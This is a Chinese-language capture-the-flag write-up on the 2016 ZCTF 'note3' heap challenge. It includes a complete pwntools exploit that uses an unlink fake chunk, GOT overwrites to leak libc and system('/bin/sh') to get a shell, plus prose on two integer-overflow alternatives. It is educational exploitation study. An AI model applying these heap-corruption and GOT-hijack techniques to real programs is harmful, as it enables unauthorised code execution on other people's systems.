2016 ZCTF note3:一種新解法

2022-10-02 06:02:14

2016 ZCTF note3:一種新解法

最近在學習unlink做到了這道題,網上有兩種做法:一種是利用edit功能讀入id時整數溢位使索引為-1,一種是設定塊大小為0使得寫入時利用整數溢位漏洞可以將資料溢位到下一個塊中。我採取了另一種思路:程式在分配id=7塊時雖然提示塊已滿,但沒有采取措施,依然分配了一個塊,並將塊地址放在了存放塊0 size的位置,使得可以往塊0寫入足夠多的資料溢位到下一個塊中。

我先分析我的解法,然後再簡單敘述一下另外兩種解法的原理。

程式分析

一般步驟檢視程式保護措施。

該程式有4個功能:

  • New note
  • Show note(假的,只列印一個字串)
  • Edit note
  • Delete note

New功能

新增note函數如下圖,主要流程已通過註釋標註。值得注意的是當i=7時,雖然提示note已滿,新增失敗,但沒有return語句,後面依然為它分配塊並將地址儲存在&ptr+7處。(注意:i=0時塊的size儲存在qword_6020C0[0+8]處)

需要關注的是qword_6020C0ptr的關係,其記憶體關係如下所示

.bss:00000000006020C0 ; __int64 qword_6020C0[]
.bss:00000000006020C0 qword_6020C0    dq ?                    ; DATA XREF: sub_400A30+D1↑w
.bss:00000000006020C0                                         ; sub_400A30+E6↑w ...
.bss:00000000006020C8 ; void *ptr
.bss:00000000006020C8 ptr             dq ?                    ; DATA XREF: sub_400A30+16↑r
.bss:00000000006020C8                                         ; sub_400A30+BC↑w ...
.bss:00000000006020D0                 dq ?
.bss:00000000006020D8                 dq ?
.bss:00000000006020E0                 dq ?
.bss:00000000006020E8                 dq ?
.bss:00000000006020F0                 dq ?
.bss:00000000006020F8                 dq ?
.bss:0000000000602100                 dq ?
.bss:0000000000602108                 dq ?

可以看到ptr所在位置等同於qword_6020C0[1]所在位置,所以當i=7時分配的塊地址儲存在&ptr+7等同於儲存在qword_6020C0[8]處,即表示i=0塊的大小。通過分配i=7塊可實現i=0塊大小被新分配塊地址覆寫,而塊地址所代表的大小足夠我們溢位到後面的塊內。

Show功能

該功能沒什麼用,只列印一串字串。

Edit功能

如圖,主要操作通過註釋的方式介紹。

Delete功能

qword_6020C0[0]可以理解為最近操作過的塊地址。

漏洞利用

漏洞利用思路如下:

1.unlink

新增7個塊後,再新增一個塊(i=7),這時塊0的大小會被改的很大(值為塊7的地址),然後在塊0中構造fake_chunk並溢位到下一個塊修改header資料實現unlink。需要注意第i=1個塊時大小要超過fastbin的範圍。

2.洩露地址

unlink後可以實現任意寫。為了洩露函數地址,需要執行輸出函數,可以將free@got值改為puts@plt值,然後將塊i的地址改為puts@got的地址,這時呼叫刪除功能free(塊i)就可以輸出puts@got的值,從而得到動態連結庫載入地址,進一步得到system地址。

3.getshell

最後將atoi@got值改為system地址,然後在選擇功能時輸入/bin/sh即可得到shell。

Expolit

漏洞利用程式碼如下:

from pwn import *

p = process('./note3')
#context.log_level = 'debug'

def new(size,content):
    p.sendlineafter('option--->>','1')
    p.sendlineafter('1024)',str(size))
    p.sendlineafter('content:', content)
    p.recvuntil('\n')

def edit(idx, content):
    p.sendlineafter('option--->>','3')
    p.sendlineafter('note:', str(idx))
    p.sendlineafter('content:', content)
    p.recvuntil('success')

def delete(idx):
    p.sendlineafter('option--->>', '4')
    p.sendlineafter('note:', str(idx))

#gdb.attach(p)
# 分配7+1個塊
new(0x40, 'b'*32)
new(0x80, 'b'*32)	#為進行unlink,塊要大於fastbin
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)
new(0x80, 'b'*32)	#第0塊的size變數值會被該塊的地址覆蓋,進而第0塊可以寫入足夠多的資料

target = 0x6020C8	#指向ptr
fd = target - 0x18
bk = target - 0x10
# 構造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8
# 溢位到下一個塊,覆蓋chunk header
payload += p64(0x40) + p64(0x90)
edit(0,payload)		# 向塊0寫入資料溢位
delete(1)			# 觸發unlink=>ptr[0]=&ptr-0x18

elf = ELF('./note3')
# 從&ptr-0x18開始寫入資料 =>
# 0x6020C8(ptr+0x00): elf.got['free']		chunk0_ptr
# 0x6020D0(ptr+0x08): elf.got['puts']		chunk1_ptr
# 0x6020D8(ptr+0x10): 0x6020C8				chunk2_ptr
payload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)
edit(0,payload)

# 將free@got改為puts@plt:
# 向chunk0_ptr(free@got)寫入puts@plt
# 注意這裡傳送的地址是7位,因為程式會在使用者輸入後面加上\x00,若傳送8位元會將下一個got地址低位元組變為0。這裡puts@plt高位元組也為\x00,所以傳送7位無影響。
edit(0, p64(elf.plt['puts'])[:-1])
# 原會呼叫free(chunk1_put),實際呼叫puts(puts@got)洩露地址
delete(1)
p.recvuntil('\n')
# 讀取洩露的地址值
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
# 任意地址寫,通過edit chunk2_ptr來修改chunk0_ptr的指向,再通過edit chunk0_ptr修改chunk0_ptr指向的值。
def write(where,what):
    edit(2, p64(where))
    edit(0, p64(what))
# 獲取libc基址
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
# 獲取system函數地址
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: ' + hex(sys_addr))
# 將atio@got值改為system函數地址
write(elf.got['atoi'], sys_addr)
# 因為atoi改為了system,輸入選項時輸入"/bin/sh",會執行system("/bin/sh")
p.sendlineafter('option--->>','/bin/sh\x00')
p.interactive()

執行結果如圖所示

方法2:編輯時整數溢位

下圖為向塊寫入時的功能函數,這裡變數i定義為unsigned __int64型別,在第7行,當a20時,a2-1就會變得"無限大",從而可以無限制寫入資料,溢位到下一個塊,利用unlink漏洞實現任意地址寫,進而拿到系統shell。

方法3:輸入索引整數溢位

在edit功能內,呼叫read_num_4009B9()讓使用者輸入索引,利用求餘使索引小於7

進入read_num_4009B9()函數內,可以看到程式對使用者輸入進行了判斷,若小於0則取相反數。

漏洞就出現在,當用戶輸入的為最大負整數(即-9223372036854775808),記憶體中十六進位製表示為0x8000000000000000,取相反數過程為-x=~x+1,即0x7fffffffffffffff+1=0x8000000000000000在計算機表示中最大負整數的相反數還是最大負整數

v0為最大負整數,則v0%7>=v0的條件也能被滿足,且結果v3-1,這將向ptr[-1]指向的地址寫入內容,而ptr[-1]指向的地址為最近操作過的塊的地址。而寫入的大小為qword_6020C0[-1+8],即ptr[6],其為i=6塊的地址,即可以寫入"無限"多的資料,溢位到下一塊實現unlink,進一步實現任意地址寫、函數地址洩露、構造執行system("/bin/sh"),拿到shell。